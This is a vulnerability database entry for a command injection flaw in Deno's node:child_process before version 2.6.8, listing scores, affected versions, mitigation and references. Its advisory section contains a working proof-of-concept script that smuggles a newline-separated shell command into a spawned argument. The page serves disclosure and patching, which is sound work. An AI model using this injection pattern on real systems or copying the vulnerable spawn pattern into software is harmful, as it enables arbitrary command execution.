8.1high
Deno has a Command Injection via Incomplete shell metacharacter blocklist in node:child_process
- Severity
- 8.1high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 2.42% (higher than 84% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-hmh4-3xvx-q5hr
Description
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| denoland deno | < 2.6.8 | CVE List |
| deno (crates.io) | before 2.6.8 | GitHub Advisory Database |
| deno deno | before 2.6.8 | NVD |
All scores
| GitHub_M | 8.1high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 8.1high CVSS:3.1 | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| NVD | 9.8critical CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation poc, automatable no, technical impact total.
What each source says
CVE List
Deno is a JavaScript, TypeScript, and WebAssembly runtime. Prior to 2.6.8, a command injection vulnerability exists in Deno's node:child_process implementation. This vulnerability is fixed in 2.6.8.
GitHub Advisory Database
Summary
A command injection vulnerability exists in Deno's node:child_process implementation.
Reproduction
import { spawnSync } from "node:child_process";
import * as fs from "node:fs";
// Cleanup
try { fs.unlinkSync('/tmp/rce_proof'); } catch {}
// Create legitimate script
fs.writeFileSync('/tmp/legitimate.ts', 'console.log("normal");');
// Malicious input with newline injection
const maliciousInput = `/tmp/legitimate.ts\ntouch /tmp/rce_proof`;
// Vulnerable pattern
spawnSync(Deno.execPath(), ['run', '--allow-all', maliciousInput], {
shell: true,
encoding: 'utf-8'
});
// Verify
console.log('Exploit worked:', fs.existsSync('/tmp/rce_proof'));
Run: deno run --allow-all poc.mjs
The file /tmp/rce_proof is created, confirming arbitrary command execution.
Mitigation
All users need to update to the patched version (Deno v2.6.8).
NVD (es)
Deno es un entorno de ejecución de JavaScript, TypeScript y WebAssembly. Antes de la versión 2.6.8, existe una vulnerabilidad de inyección de comandos en la implementación de node:child_process de Deno. Esta vulnerabilidad está corregida en la versión 2.6.8.
References
| https://github.com/denoland/deno/security/advisories/GHSA-hmh4-3xvx-q5hr | exploit, vendor-advisory, web | |
| https://github.com/denoland/deno/commit/9132ad958c83a0d0b199de12b69b877f63edab4c | patch, web | |
| https://github.com/denoland/deno/releases/tag/v2.6.8 | product, release-notes, web | |
| https://nvd.nist.gov/vuln/detail/CVE-2026-27190 | advisory | |
| https://github.com/denoland/deno | package | |
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-27190 changed 2026-02-24 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-hmh4-3xvx-q5hr changed 2026-02-20 | CC-BY-4.0 |
| NVD | CVE-2026-27190 changed 2026-06-17 | Public domain |